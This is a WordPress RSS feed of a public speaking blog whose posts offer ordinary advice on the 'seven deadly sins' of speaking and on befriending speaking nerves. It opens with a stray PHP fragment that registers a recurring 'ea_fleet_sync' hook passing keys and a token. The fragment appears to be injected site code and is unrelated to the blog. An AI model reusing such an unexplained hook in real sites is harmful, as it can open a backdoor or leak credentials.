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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Deadly sins Archives - Now you're talking https://www.nowyouretalking.co.uk/tag/deadly-sins/ Public speaking Tue, 23 Oct 2018 13:49:11 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 Deadly sin stumbles or spectacular speaking successes? https://www.nowyouretalking.co.uk/2018/10/05/deadly-sin-versus-spectacular-speaking/ Fri, 05 Oct 2018 20:16:01 +0000 https://www.nowyouretalking.co.uk/?p=660 Are you a deadly sinner? One deadly sin of public speaking can wreck your best efforts to give a successful speech, never mind seven deadly sins: Do you ever feel as if your nerves might get the better of you?…

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]]> Are you a deadly sinner? One deadly sin of public speaking can wreck your best efforts to give a successful speech, never mind seven deadly sins:

  • Do you ever feel as if your nerves might get the better of you?
  • Are you guilty of ‘infobesity’?
  • Do you tend to overrun your allotted time?
  • Are you someone who never has enough time to prepare?
  • Do you wish you could speak as well as someone else?
  • Do you find yourself apologising if you make a mistake
  • Is the spotlight all about you?

As a speaker, it is too easy to commit a deadly sin when talking to an audience. Prompted by the seven deadly sins, here’s my take on seven behaviours we should try to eradicate from our public speaking and presentations and steps we can take to do so.

I’m so nervous – the deadly sin of Lust

Deadly sin_LustLust may manifest itself as approval seeking. Such speakers desire success, they want their audience to love them and may even criticise other speakers, exaggerate their own abilities and encourage hero worship from their listeners.

The problem with this deadly sin is that it tends to result in feeling really nervous. With the desire for success comes the fear of failure. Fear and nerves are very likely to sabotage the very thing you desire.

By imposing so much pressure on yourself, it’s no wonder that Jerry Seinfeld was able to observe that “to the average person, if you go to a funeral, you’re better off in the casket than doing the eulogy”.

And if we accept the words of Mark Twain that “There are two types of speakers: those that are nervous and those that are liars”, then we probably all have a bit of lust lurking within us.

What can you do about your nerves?

Try thinking about nerves simply, as adrenaline. Adrenaline can either work with you as positive energy that you want to share with your audience or as negative anxiety that can make your brain freeze and overwhelm you with fear. Ask yourself why you are really speaking. Is it to satisfy your deadly sin of ‘lustful’ desires or because you have something to say that is important to you and of value to your audience. The second perspective will help you befriend your nerves

Infobesity – the deadly sin of Gluttony

deadly sin of gluttony - InfobesityGluttony or ‘infobesity’ tends to manifest itself in speakers saying too much and often brings with it an unintended side effect of speaking too fast.

Saying too much

When you know a lot about something or you’re really passionate about a subject, it is tempting to want to share everything you know with your audience. But think about how long it has taken you to develop your enthusiasm and accumulate all your knowledge … Months? Years? Now compare that with the length of your speech … 10 minutes, 30 minutes, 1 hour?  You cannot realistically hope to share with an audience everything you know about a subject in such a short space of time and expect them to take it all in. It’s just too much information!

What can you do about saying too much?

The speaker’s responsibility is to define a clear goal or message and only include information that serves that purpose.  If it doesn’t support your message, remove it.

Develop a mantra – Less is Always More!

Speaking too fast

An unfortunate bi-product of having too much to say and being nervous is that we tend to gabble and speak far too quickly. We forget to breathe. We’re afraid of silence. Public speaking is not a conversation with a few mates. While a conversational style can be very appealing, giving a successful speech needs us to slow down and speak clearly.

What can you do about speaking too fast?

Slow down!

As a rough guide, I, personally, aim for about 90-100 words a minute.  There seems to be little agreement about average numbers of words per minute in conversation, but the range is generally around 130 to about 225 words per minute. We have the ability to listen at a faster rate than we can speak – some say 500-600 words per minute – but can you really absorb what is being said at that rate … and would you want to?

By slowing down, you achieve three important goals:

  • You have time to draw breath and pause. This helps you relax as a speaker and gives your audience to consider their own experience of what you are saying
  • It gives your audience time to absorb and reflect on the meaning of your words
  • You have time to strengthen the delivery of your message with powerful body language and interesting vocal variety.

Time theft – the deadly sin of Greed

Time theft_Deadly sin of greedAs a speaker, you have an allotted speaking time.  You have a responsibility to stick to your allocated time.  Overrunning is a deadly sin. It’s disrespectful to other speakers, the organisers of the event and your audience who may switch off when you talk for too long or leave the room because they have somewhere else to be.

As listeners, our attention spans are short. Some say as little as 8 seconds, less than a goldfish! While the numbers may be exaggerated, our ability to stay focused and absorb information is limited.  This is why speakers need to say less and deliver with dynamism, contrast and colour to make what you have to say interesting and memorable.

What can you do about time theft?

Manage your infobesity – remember your mantra: Less is Always More.

Be clear about why you are giving the speech and your message. Strip out all information that doesn’t directly support your message.

Have you ever heard anyone complain about a speech being too short? Prepare less content than you think you need. For instance, if you have a 15-minute speaking slot, prepare 10-12 minutes at most. Once in front of an audience, your delivery is likely to be slower and you also need to allow time for audience reactions, such as laughter.

Then practise your speech, out loud, with a timer to gauge the length. If you overrun, edit and make some cuts or add some powerful pauses to your delivery so that you keep to your allotted time, with time to spare!

Failing to prepare – the deadly sin of Sloth

Sloth or laziness is failing to prepare and rehearse, as well as failing to learn and improve.

I cringe every time I hear someone say they are ‘winging it’.  Almost invariably, the speech is disappointing. In the words of Benjamin Franklin “By failing to prepare, you are preparing to fail.” When you do this, you let down yourself and your audience.

When you practise your speech, invite feedback from your colleagues and friends. When you deliver your speech, invite feedback from your audience. These are all great opportunities to improve your speech and develop your speaking skills.

What can you do to prepare?

Failing to prepare_deadly sin of slothOur mantra is practise, practise, practise!

“But I don’t have time”, I hear you cry. Such excuses might be considered a deadly sin in their ow right! In my experience, you can usually make time, but you need to be smart about it. For instance, when you are walking to catch a bus or a train or standing in a queue, practise your opening and close. Grab a coffee with a friend or colleague and try out a couple of paragraphs on them. Practise in the shower. Practise while you’re hoovering, walking the dog or out shopping. The opportunities are endless. Find the ones that work for you.

You need to practise what you want to say (content), how you say it (word selection, body language, vocal variety) and ensuring your message is clear and memorable.  In this way, not only do you deserve the opportunity to speak, but you also show respect for your audience as the people on the receiving end. Remember, every speech you give is also a learning opportunity to help you become a better speaker.

Losing control – the deadly sin of Wrath

Outright wrath or anger is, fortunately, rare in public speakers, unless you find yourself listening to the likes of Basil Fawlty! However, instances of the deadly sin of anger can show up in a number of unwanted ways.

Perhaps the most common presentation of ‘anger’ is an apology. It is not uncommon for speakers to say sorry if they make a mistake or forget to say something; mistakes or omissions that your audience probably only noticed because you drew attention to them by apologising.

Some speakers can feel irritated and unsettled if their audience isn’t behaving exactly as they expected, eg audience members whispering to a neighbour, doing something on their phone, etc. They may also be upset with the organiser if there is an equipment malfunction.

What can you do to keep calm?

Losing control_Deadly sin of wrathRemember why you’re giving a speech – because you have something to say that is important to you and of value to your audience. It is not a memory test, so don’t worry about saying something differently from the way you practised it. No one knows except you!

Don’t let technical malfunctions annoy you and waste your precious speaking energy. These things happen. By making sure you are well prepared, know your material and have rehearsed, you should be able to deliver a compelling and engaging speech without technical support. What’s more, you will have the sympathy of your audience and the gratitude of the event organisers.

If a few members of your audience seem a little distracted, remember you don’t know what they’re doing and there’s nothing you can do about it anyway. Getting angry is no good for you or your audience. Be patient and understanding. They might be saying they totally agree with you or tweeting about what a wonderful speech they’re listening to! Focus instead on the engaged members of your audience. The others will come back when they’re ready.

I wish I could speak like that – the deadly sin of Envy

Envy is the desire to be like someone else, to have the speaking skills of someone else, like, Alex Polizzi, Barak Obama or Jeanette Winterson. This deadly sin can make us come across as unduly deferential, which can convey deceit.

What we need to do is be ourselves. As Judy Garland advised “Always be a first-rate version of yourself, instead of a second-rate version of somebody else.”

As speakers, envy can be a calamity. You need to recognise the importance of being yourself, being authentic in everything you say, the way you say it, your body language, voice, etc. If you cannot communicate authentically, audiences will know. They see the deceit and then they don’t feel comfortable, they don’t trust you.

But it goes beyond trust, you need to be authentic if you are to create powerful connections with your audience. For it is those connections that make your speeches enjoyable and memorable. It is those connections that allow your speech to touch people’s hearts and minds and have an impact on them.

What can you do to be authentic?

First and foremost, be yourself. It is you, after all, that people have come to hear. They want to know a little about you, they want to connect with you. Think about the qualities and characteristics that make you feel good about someone. To get this across in your speech, try telling relevant personal stories and anecdotes, use appropriate self-deprecating humour and don’t be afraid to show your vulnerable side.

Me, Myself and I – the deadly sin of Pride

Me, myself & I_Deadly sin of pridePride is excessive belief in your own abilities, ideas and opinions; you might also call it ‘arrogance’. Such speakers love the sound of their own voice, their own message or point of view. Because of this, they tend to speak for their own validation and they generally fail to connect with the needs and interests of their audience.

Pride may well be the most heinous public speaking deadly sin, rearing its ugly head in all the previous sins. Furthermore, focussing on ‘Me, Myself and I’ puts a huge amount of pressure on you every time you step in front of an audience. The spotlight is on you and you have to get it right. No wonder we feel nervous.

Pride will encourage infobesity, overloading your speeches with content, maybe even ‘bulldozing’ your audience and overrunning your time allocation. Pride will probably persuade you that you don’t need to prepare or practise and make you spiral out of control, all wrapped up in your own little world.

The best speakers want to share something of value with their audience, something that they care about and that will benefit their audience.  An audience always wants to know “What’s in it for me?”  A good speaker will show their audience the answer in everything they say and do on stage.  They understand that speaking is about knowing and connecting with an audience.

What can you do to banish pride?

Make your audience your focus because your speech must always be about them and never about you. By agreeing to speak, you are also taking on a responsibility to find out about your audience. You need to learn what they already know about your subject or point of view, how do they behave, what is their experience, how homogenous or polarised is the group, what will they think of your message, what’s the best way to talk to them and so on. In short, know your audience!

Imagine yourself sitting in that audience. How would you feel experiencing your speech?  Is it new information? Is it clearly structured and signposted? Do you feel comfortable? Is the delivery interesting and engaging?

Your mantra should be the audience asking “What’s in it for me?” Crucially, your job is to prepare, practise and deliver a speech that shows them.

By banishing the seven deadly sins banished from your public speaking life, you can look forward to making clear, connected and memorable speeches, which will be enjoyed by both you and your audience … not a deadly sin in the room!

 

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]]> Me, Myself and I – Pride, the seventh deadly sin https://www.nowyouretalking.co.uk/2018/09/23/me-myself-i-seventh-deadly-sin-pride/ Sun, 23 Sep 2018 21:55:34 +0000 https://www.nowyouretalking.co.uk/?p=654 The deadly sins of public speaking can completely wreck your best efforts to give a good speech. It’s important to be aware of them so that we can eradicate them from our speaking behaviours. Pride is the last part of…

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]]> The deadly sins of public speaking can completely wreck your best efforts to give a good speech. It’s important to be aware of them so that we can eradicate them from our speaking behaviours. Pride is the last part of my deadly sins series.

Me, Myself and I – the deadly sin of Pride

Me, myself & I_Deadly sin of pridePride is excessive belief in your own abilities, ideas and opinions; you might also call it ‘arrogance’. Such speakers love the sound of their own voice, their own message or point of view. Because of this, they tend to speak for their own validation and they generally fail to connect with the needs and interests of their audience.

Pride may well be the most heinous public speaking deadly sin, rearing its ugly head in all the previous sins. Furthermore, focussing on ‘Me, Myself and I’ puts a huge amount of pressure on you every time you step in front of an audience. The spotlight is on you and you have to get it right. No wonder we feel nervous.

Pride will encourage infobesity, overloading your speeches with content, maybe even ‘bulldozing’ your audience and overrunning your time allocation. Pride will probably persuade you that you don’t need to prepare or practise and make you spiral out of control, all wrapped up in your own little world.

The best speakers want to share something of value with their audience, something that they care about and that will benefit their audience.  An audience always wants to know “What’s in it for me?”  A good speaker will show their audience the answer in everything they say and do on stage.  They understand that speaking is about knowing and connecting with an audience.

What can you do to banish pride?

Make your audience your focus because your speech must always be about them and never about you. By agreeing to speak, you are also taking on a responsibility to find out about your audience. You need to learn what they already know about your subject or point of view, how do they behave, what is their experience, how homogenous or polarised is the group, what will they think of your message, what’s the best way to talk to them and so on. In short, know your audience!

Imagine yourself sitting in that audience. How would you feel experiencing your speech?  Is it new information? Is it clearly structured and signposted? Do you feel comfortable? Is the delivery interesting and engaging?

Your mantra should be the audience asking “What’s in it for me?” Crucially, your job is to prepare, practise and deliver a speech that shows them.

 

 

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]]> Authenticity is key – Envy, the sixth deadly sin https://www.nowyouretalking.co.uk/2018/09/16/authenticity-not-envy-sixth-deadly-sin/ Sun, 16 Sep 2018 15:36:28 +0000 https://www.nowyouretalking.co.uk/?p=650 The deadly sins of public speaking can completely wreck your best efforts to give a good speech. I think it’s important to be aware of them so that we can eradicate them from our speaking. Envy, or wishing you could…

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]]> The deadly sins of public speaking can completely wreck your best efforts to give a good speech. I think it’s important to be aware of them so that we can eradicate them from our speaking. Envy, or wishing you could speak like other people, undermines your authenticity and is the sixth deadly sin in my series.

I wish I could speak like that – the destruction of authenticity

Envy is the desire to be like someone else, to have the speaking skills of someone else, like, for instance, Alex Polizzi, Barak Obama, Jeanette Winterson or Stephen Fry. Envy can make us come across as unduly deferential to that speaker we want to be and this can convey deceit.

What we need to do is be ourselves. As Judy Garland advised “Always be a first-rate version of yourself, instead of a second-rate version of somebody else.”

As speakers, envy can be a calamity. You need to recognise the importance of being yourself, being authentic in everything you say, the way you say it, your body language, voice, etc. If you cannot communicate authentically, audiences will know. They see the deceit and then they don’t feel comfortable, they don’t trust you.

But it goes beyond trust, you need to be authentic if you are to create powerful connections with your audience. For it is those connections that make your speeches enjoyable and memorable. It is those connections that allow your speech to touch people’s hearts and minds and have an impact on them.

Lyn Roseaman

Lyn Roseaman by Robert Taylor Photography

What can you do to be authentic?

First and foremost, be yourself. Because it is, after all, you that people have come to hear. They want to know a little about you, they want to connect with you. Think about the qualities and characteristics that make you feel good about someone. To get this across in your speech, try telling relevant personal stories and anecdotes, use appropriate self-deprecating humour and don’t be afraid to show your vulnerable side.

After your speech, always invite feedback from your audience so that you can learn how they felt about your speech and any refinements that might enhance your skills further. And, of course, don’t forget to practise.

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]]> Losing control – Wrath, the fifth deadly sin https://www.nowyouretalking.co.uk/2018/09/09/losing-control-fifth-deadly-sin/ Sun, 09 Sep 2018 15:41:32 +0000 https://www.nowyouretalking.co.uk/?p=645 The deadly sins of public speaking can completely wreck your best efforts to give a good speech. I think it’s important to be aware of them so that we can eradicate them from our speaking. Losing control is the fifth…

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]]> The deadly sins of public speaking can completely wreck your best efforts to give a good speech. I think it’s important to be aware of them so that we can eradicate them from our speaking. Losing control is the fifth deadly sin in my series.

Losing control – the deadly sin of Wrath

Outright wrath or anger is, fortunately, rare in public speakers, unless you find yourself listening to the likes of Basil Fawlty! However, anger can show up in a number of unwanted ways.

Perhaps the most common presentation of ‘anger’ is an apology. It is not uncommon for speakers to say sorry if they make a mistake or forget to say something; mistakes or omissions that your audience probably only noticed because you drew attention to them by apologising.

Some speakers can feel irritated and unsettled if their audience isn’t behaving exactly as they expected, eg audience members whispering to a neighbour, doing something on their phone, etc. They may also be upset with the organiser if equipment malfunctions.

What can you do to keep calm?Losing control - deadly sin of wrath

Remember why you’re giving a speech – because you have something to say that is important to you and of value to your audience. It is not a memory test, so don’t worry about saying something differently from the way you practised it. No one knows except you! No apology required.

Don’t let technical malfunctions annoy you and waste your precious speaking energy. These things happen. By making sure you are well prepared, know your material and have rehearsed, you should be able to deliver a compelling and engaging speech without technical support. What’s more, you will have the sympathy of your audience and the gratitude of the event organisers.

If a few members of your audience seem a little distracted, remember you don’t know what they’re doing and there’s little you can do about it anyway. Getting angry is no good for you or your audience. Be patient and understanding. They might be saying they totally agree with you or tweeting about what a wonderful speech they’re listening to! Focus instead on the interested members of your audience. With your engaging delivery, the others will come back when they’re ready.

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]]> Failing to prepare – Sloth, the fourth deadly sin https://www.nowyouretalking.co.uk/2018/09/02/prepare-or-fail-fourth-deadly-sin/ Sun, 02 Sep 2018 18:00:06 +0000 https://www.nowyouretalking.co.uk/?p=640 The deadly sins of public speaking can completely wreck your best efforts to give a good speech. It’s important to be aware of them so that we can eradicate them from our speaking. Failing to prepare is the fourth deadly…

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]]> The deadly sins of public speaking can completely wreck your best efforts to give a good speech. It’s important to be aware of them so that we can eradicate them from our speaking. Failing to prepare is the fourth deadly sin in my series.

Failing to prepare – the deadly sin of Sloth

Sloth or laziness is failing to prepare and rehearse, as well as failing to learn and improve. Failing to prepare_deadly sin of sloth

I cringe every time I hear someone say they are ‘winging it’.  Almost invariably, the speech is disappointing. In the words of Benjamin Franklin “By failing to prepare, you are preparing to fail.” When you do this, you let down yourself and your audience.

When you practise your speech, invite feedback from your colleagues and friends. When you deliver your speech, invite feedback from your audience. These are all great opportunities to improve your speech and develop your speaking skills.

What can you do to prepare and practise?

Our mantra is practise, practise, practise!

“But I don’t have time”, I hear you cry. In my experience, you can usually make time, but you need to be smart about it. For instance, when you are walking to catch a bus or a train or standing in a queue, practise your opening and close. Grab a coffee with a friend or colleague and try out a couple of paragraphs on them. Practise in the shower. Practise while you’re hoovering, walking the dog or out shopping. The opportunities are endless. Find the ones that work for you.

You need to practise what you want to say (content), how you say it (word selection, body language, vocal variety) and ensure your message is clear and memorable.  In this way, not only do you deserve the opportunity to speak, but you also show respect for your audience as the people on the receiving end. Remember, every speech you give is also a learning opportunity to help you become a better speaker.

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]]> Time theft – Greed, the third deadly sin https://www.nowyouretalking.co.uk/2018/08/27/time-theft-third-deadly-sin/ Mon, 27 Aug 2018 07:00:46 +0000 https://www.nowyouretalking.co.uk/?p=634 The deadly sins of public speaking can completely wreck your best efforts to give a good speech. It’s important to be aware of them so that we can eradicate them from our speaking. Time theft is the third deadly sin…

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]]> The deadly sins of public speaking can completely wreck your best efforts to give a good speech. It’s important to be aware of them so that we can eradicate them from our speaking. Time theft is the third deadly sin in my series.

Time theft – the deadly sin of Greed

Time thief_Deadly sin of greedAs a speaker, you have an allotted speaking time.  You have a responsibility to stick to the time allocated to you.  Overrunning is disrespectful to other speakers, the organisers of the event and your audience who may switch off when you talk for too long or leave the room because they have somewhere else to be.

As listeners, our attention spans are short. Some say as little as 8 seconds, less than a goldfish! While the numbers may be exaggerated, our ability to stay focused and absorb information is limited.  This is why speakers need to say less and deliver with dynamism, contrast and colour to make what you have to say interesting and memorable.

What can you do about time theft?

Manage your infobesity – remember your mantra: Less is Always More.

Be clear about why you are giving the speech and your message. Strip out all information that doesn’t directly support your message.

Have you ever heard anyone complain about a speech being too short? Prepare less content than you think you need. For instance, if you have a 15-minute speaking slot, prepare 10-12 minutes at most. Once in front of an audience, your delivery is likely to be slower and you also need to allow time for audience reactions, such as laughter.

Then practise your speech, out loud, with a timer to gauge the length. If you overrun, edit and make some cuts or add some powerful pauses to your delivery so that you keep to your allotted time, with room to spare!

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]]> Infobesity – Gluttony, the second deadly sin https://www.nowyouretalking.co.uk/2018/08/19/infobesity-second-deadly-sin/ Sun, 19 Aug 2018 21:41:52 +0000 https://www.nowyouretalking.co.uk/?p=623 The deadly sins of public speaking can completely wreck your best efforts to give a good speech. I think it’s important to be aware of them so that we can eradicate them from our speaking. Infobesity is the second deadly…

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]]> The deadly sins of public speaking can completely wreck your best efforts to give a good speech. I think it’s important to be aware of them so that we can eradicate them from our speaking. Infobesity is the second deadly sin in my series.

Gluttony or infobesity tends to manifest itself in speakers saying too much and often brings with it an unintended side effect of speaking too fast.Infobesity_Deadly sin of Gluttony

Infobesity and saying too much

When you know a lot about something or you’re really passionate about a subject, it is tempting to want to share everything you know with your audience. But think about how long it has taken you to develop your enthusiasm and accumulate all your knowledge … Months? Years? Now compare that with the length of your speech … 10 minutes, 30 minutes, 1 hour?  You cannot realistically hope to share with an audience everything you know about a subject in such a short space of time and expect them to take it all in. It’s just too much information!

What can you do about saying too much?

The speaker’s responsibility is to define a clear goal or message and only include information that serves that purpose.  If it doesn’t support your message, remove it.

Develop a mantra – Less is Always More!

Infobesity and speaking too fast

An unfortunate bi-product of having too much to say and being nervous is that we tend to gabble and speak far too quickly. We forget to breathe. We’re afraid of silence. Public speaking is not a conversation with a few mates. While a conversational style can be very appealing, giving a successful speech needs us to slow down and speak clearly.

What can you do about speaking too fast?

Slow down!

As a rough guide, I, personally, aim for about 90-100 words a minute.  There seems to be little agreement about average numbers of words per minute in conversation, but the range is generally around 130 to about 225 words per minute. We have the ability to listen at a faster rate than we can speak – some say 500-600 words per minute – but can you really absorb what is being said at that rate … and would you want to?

By slowing down, you achieve three important goals:

  • You have time to draw breath and pause. This helps you relax as a speaker and gives your audience to consider their own experience of what you are saying
  • It gives your audience time to absorb and reflect on the meaning of your words
  • You have time to strengthen the delivery of your message with powerful body language and interesting vocal variety.

 

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]]> I’m so nervous – the first deadly sin is Lust https://www.nowyouretalking.co.uk/2018/08/12/im-so-nervous-the-first-deadly-sin-of-lust/ Sun, 12 Aug 2018 18:57:27 +0000 https://www.nowyouretalking.co.uk/?p=617 The deadly sins of public speaking can completely wreck your best efforts to give a good speech. It’s important to be aware of them so that we can eradicate them from our speaking. What are your public speaking deadly sins? Do…

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]]> The deadly sins of public speaking can completely wreck your best efforts to give a good speech. It’s important to be aware of them so that we can eradicate them from our speaking. What are your public speaking deadly sins?

Do you ever feel as if your nerves might get the better of you?

Do you wish you could speak as well as someone else?

Are you guilty of infobesity?

Do you tend to overrun your allotted time?

Do you find yourself apologising if you make a mistake

Are you someone who never has enough time to prepare?

Is the spotlight on you?

As a speaker, it is too easy to fall into some or all of these traps when talking to an audience. Prompted by the seven deadly sins, here’s my take on the first of seven behaviours we should try to eradicate from our public speaking and steps we can take to do so.

I’m so nervous – the deadly sin of Lust

Deadly sin_LustLust may manifest itself as approval seeking. Such speakers desire success, they want their audience to love them and may even criticise other speakers, exaggerate their own abilities and encourage hero worship from their listeners.

The problem with this is that it tends to result in feeling really nervous. With the desire for success comes the fear of failure. Fear and nerves are very likely to sabotage the very thing you desire.

By imposing so much pressure on yourself, it’s no wonder that Jerry Seinfeld was able to observe that “to the average person, if you go to a funeral, you’re better off in the casket than doing the eulogy”.

And if we accept the words of Mark Twain that “There are two types of speakers: those that are nervous and those that are liars”, then we probably all have a bit of lust lurking within us.

What can you do about your nerves?

Try thinking about nerves simply, as adrenaline. Adrenaline can either work with you as positive energy that you want to share with your audience or as negative nerves that can make your brain freeze and overwhelm you with fear. Ask yourself why you are really speaking. Is it to satisfy your ‘lustful’ desires or because you have something to say that is important to you and of value to your audience. The second perspective will help you befriend your nerves.

 

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]]> Speaking fear is your friend, embrace it! https://www.nowyouretalking.co.uk/2018/02/17/make-speaking-fear-your-friend/ Sat, 17 Feb 2018 10:04:23 +0000 https://www.nowyouretalking.co.uk/?p=346 When you stand up to speak, you want to share something you care about with your audience. At the same time, you want them to enjoy the ride and leave with something they value.  Flip that around and sit yourself…

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]]> When you stand up to speak, you want to share something you care about with your audience. At the same time, you want them to enjoy the ride and leave with something they value.  Flip that around and sit yourself in the audience.  Imagine the speaker coming on stage and every inch of their being tells you they are petrified.  How do you feel as the listener?  Uncomfortable?  Worried for the speaker?  Certainly not relaxed and ready to enjoy their speech.  That was me and I’ve learnt how you can make speaking fear your speaking friend so that the authentic you can get on stage and connect powerfully with your audience.

Being nervous is normal.  As Mark Twain astutely observed:

“There are two types of speakers.  Those who get nervous and those who are liars.”

No one is born with a fear of public speaking; it is something we learn, so we can equally learn to quash the debilitating nerves and harness the good nerves, those nerves that give us positive energy and presence on stage, those nerves that help us connect with our audience.  To achieve this, we need to reprogram our mindset and make friends with our nerves.  It seems to me that we need to pay attention to five key areas.

1.  Face up to your speaking fear excuses

Befriend your nerves

Before you can make speaking fear your friend, you need to identify the emotional barriers that you put up to convince yourself that you can’t speak in public. Do you, for instance, worry …

  • I’ll be under scrutiny and be caught out
  • I’ll be a lesser person if I’m not perfect
  • I’m afraid of rejection – people won’t want to know me anymore
  • I’ll be boring
  • And you can probably think of others?

Public speaking has nothing to do with self-worth.  You are more than your speech and your ability to speak has nothing to do with who you are as a human being.  The good news is that managing the nerves and speaking with confidence and sincerity is a skill that you can learn.

Try making a list of all your excuses.  Once we know what our fears are, we’re in position to confront them head on.  Interrogate them.  Deconstruct them.  Render them powerless and clear our head of negative thoughts.  Think about  a friend or a child presenting you with these excuses.  What would you say to them?  Would it have something to do with self-belief, visualising successful outcomes or some other positive advice?

2.  Don’t expect perfection from yourself

Perfectionism is the curse of the speaker.  By striving for perfection, you set yourself up to fail.  Moreover, none of us is perfect and we all make mistakes, so as a perfectionist, failure lurks around every corner.

Be clear in your own mind that the audience is unlikely to know if you make a mistake unless you tell them.  Speakers often reprimand themselves for forgetting a chunk of their speech, but the audience does not know what you had planned to say and, therefore, won’t miss it.

Instead of trying to be perfect, do yourself a kindness and give yourself permission to be less than perfect, make speaking fear your friend.  Set yourself challenging, yet achievable, standards and give yourself a pat on the back when you’ve spoken.  Focus on what you did well, savour the glory and note ways in which you can be even better next time.  It’s important to remember that great speeches do not happen overnight. Rather, they are an iterative process of crafting and honing content, practising delivery and seeking feedback.

Think like a sportsman, carry a post-it note with you to remind you … “Connection, not perfection!”

3.  Persuade your brain to work with you

Speaking fear happens when we are really nervous, removing our ability to think quickly and clearly, to the extent that we may actually dry up.  In the words of the judge, George Jessel:

“The human brain starts working the moment you are born
and never stops until you stand up to speak in public”

When we are speaking in public, however, we need our brain to be working with us, in the moment, thinking about what we are saying, responding to the needs and reactions of our audience.  The 2017 Toastmasters World Champion of Public Speaking Manoj Vasudevan made precisely this point about delivering his winning speech.  He said that as he took to the stage, he could see that the audience looked tired and ready to go home.  Reading the low energy level, he toned down his delivery to ensure he did not come across as overly abrasive.  He had to make a judgment call, as he spoke, a decision that would not have been possible if his brain had been frozen by speaking fear.

According to psychiatrist Steve Peters who wrote The Chimp Paradox, we can learn to manage stress positively.  He talks about the Human part of our brain that works with logic and reason and the Chimp that makes snap judgments based on emotions and gut instinct.  Furthermore, they can work independently or together.  In public speaking, we need them to work together or we are overcome by speaking fear.

As public speakers who are stressed or nervous, our Chimp will always react first and, with the aim of keeping us safe, it will go into fight, flight or freeze mode.  This is normal, but it is not what you need for quick thinking and a strong performance.

One solution is to programme your brain with positive speaking associations and help make friends with your speaking fear.  As a result, you reinforce a sense of safety that does not need the intervention of the Chimp.  What does this mean in practice?  In any public-speaking environment, arrive early and familiarise yourself with the speaking area so that you feel comfortable.  Introduce yourself to members of the audience, so you see friendly faces from the stage.  Register the applause and give yourself a pat on the back for a speech well delivered.  Once you are more comfortable and your Chimp is no longer in control, your ability to reason and think on your feet will grow, while your Chimp will help bring energy and enthusiasm to your speech.

4.  Expect speaking fear and make it work for you

As Mark Twain said, we all get nervous when we speak.  But what is nervousness?  It is energy; it is what we experience when the adrenaline is flowing.  And adrenaline is our friend, giving us energy and presence on stage.  It helps us demonstrate our enthusiasm and passion for our subject, it helps us engage with our audience and generate a real sense of fun and excitement.

Before the adrenaline kicks in, we need to be well prepared and focused on what will go right, not what could go wrong.  Give yourself the pre-match pep talk – I’m ready, this is going to be fun, etc.  And remember that you have been invited to speak because you are seen to have the necessary credentials.

Once the adrenaline surges, we need to make it help us.  Some people find it helpful to move, run on the spot, jump up and down.  Breathe slowly and deeply.  Take to the stage and pause.  Take a deep breath and start to connect with your audience with your attention-grabbing or thought-provoking opening.  After your speech, enjoy the surge of wellbeing you get from your success. Speaking fear is now your friend

5.  Focus on connection – channel your speaking fear

Speaking fear - connection not perfection

Don’t overthink audience reactions because there will always be someone on the phone, yawning or looking distracted.  This is not personal and there is nothing you can do about it.  Don’t let it paralyse you.  Instead, focus on the majority of people in your audience who are with you, who are alert and attentive, the people who are smiling, nodding and appreciating what you have to say.  Connect with these interested people by sharing relevant stories and ideas in a way that is meaningful to them and you will feel happier and more relaxed on stage.

Reprogramming your mindset won’t happen overnight, but continuous speaking practice and a permanent (post-it) ‘note to self’ about connection (not perfection), your new friends in the audience will set you on the road to more enjoyable speaking experiences.

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